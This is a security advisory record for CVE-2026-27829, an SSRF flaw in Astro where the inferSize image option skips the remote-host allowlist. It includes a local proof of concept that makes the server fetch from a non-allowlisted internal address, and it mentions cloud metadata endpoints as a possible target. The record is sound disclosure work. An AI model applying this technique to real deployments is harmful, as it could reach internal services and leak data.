{"id":"GHSA-cj9f-h6r6-4cx2","summary":"Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize","details":"## Summary\n\nA bug in Astro's image pipeline allows bypassing `image.domains` / `image.remotePatterns` restrictions, enabling the server to fetch content from unauthorized remote hosts.\n\n## Details\n\nAstro provides an `inferSize` option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the `image.domains` or `image.remotePatterns` options).\n\nHowever, when `inferSize` is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.\n\n## PoC\n\n\u003cdetails\u003e\n\n### Setup\n\nCreate a new Astro project with the following files:\n\n`package.json`:\n```json\n{\n  \"name\": \"poc-ssrf-infersize\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"astro dev --port 4322\",\n    \"build\": \"astro build\"\n  },\n  \"dependencies\": {\n    \"astro\": \"5.17.2\",\n    \"@astrojs/node\": \"9.5.3\"\n  }\n}\n```\n\n`astro.config.mjs` — only `localhost:9000` is authorized:\n```javascript\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n  output: 'server',\n  adapter: node({ mode: 'standalone' }),\n  image: {\n    remotePatterns: [\n      { hostname: 'localhost', port: '9000' }\n    ]\n  }\n});\n```\n\n`internal-service.mjs` — simulates an internal service on a non-allowlisted host (`127.0.0.1:8888`):\n```javascript\nimport { createServer } from 'node:http';\nconst GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');\ncreateServer((req, res) =\u003e {\n  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);\n  res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });\n  res.end(GIF);\n}).listen(8888, '127.0.0.1', () =\u003e console.log('Internal service on 127.0.0.1:8888'));\n```\n\n`src/pages/test.astro`:\n```astro\n---\nimport { getImage } from 'astro:assets';\n\nconst result = await getImage({\n  src: 'http://127.0.0.1:8888/internal-api',\n  inferSize: true,\n  alt: 'test'\n});\n---\n\u003chtml\u003e\u003cbody\u003e\n  \u003cp\u003eWidth: {result.options.width}, Height: {result.options.height}\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### Steps to reproduce\n\n1. Run `npm install` and start the internal service:\n\n```bash\nnode internal-service.mjs\n```\n\n2. Start the dev server:\n\n```bash\nnpm run dev\n```\n\n3. Request the page:\n\n```bash\ncurl http://localhost:4322/test\n```\n\n4. `internal-service.mjs` logs `Received: GET /internal-api` — the request was sent to `127.0.0.1:8888` despite only `localhost:9000` being in the allowlist.\n\n\u003c/details\u003e\n\n## Impact\n\nAllows bypassing `image.domains` / `image.remotePatterns` restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.","aliases":["CVE-2026-27829"],"modified":"2026-02-28T05:13:56.361896Z","published":"2026-02-25T18:11:47Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-02-25T18:11:47Z","nvd_published_at":"2026-02-26T01:16:24Z","cwe_ids":["CWE-918"]},"references":[{"type":"WEB","url":"https://github.com/withastro/astro/security/advisories/GHSA-cj9f-h6r6-4cx2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27829"},{"type":"WEB","url":"https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9"},{"type":"PACKAGE","url":"https://github.com/withastro/astro"}],"affected":[{"package":{"name":"@astrojs/node","ecosystem":"npm","purl":"pkg:npm/%40astrojs/node"},"ranges":[{"type":"SEMVER","events":[{"introduced":"9.0.0"},{"fixed":"9.5.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-cj9f-h6r6-4cx2/GHSA-cj9f-h6r6-4cx2.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"}]}